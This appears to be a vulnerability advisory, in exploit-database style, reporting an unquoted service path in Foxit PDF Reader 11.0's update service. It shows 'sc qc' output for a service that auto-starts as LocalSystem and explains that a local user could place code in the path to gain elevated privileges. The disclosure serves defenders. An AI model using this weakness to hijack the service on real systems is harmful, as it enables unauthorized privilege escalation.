Foxit PDF Reader 11.0 Unquoted Service Path

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Foxit PDF Reader 11.0 Unquoted Service Path
# Exploit Title: Foxit PDF Reader 11.0 - Unquoted Service Path
# Date: 05/03/2022
# Exploit Author: Hejap Zairy
# Vendor Homepage:
# Software Link:
# Version:
# Tested: Windows 10 Pro x64 es

C:\Users\Hejap>sc qc  FoxitReaderUpdateService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: FoxitReaderUpdateService
        TYPE               : 110  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Foxit Software\Foxit PDF Reader\FoxitPDFReaderUpdateService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Foxit PDF Reader Update Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.

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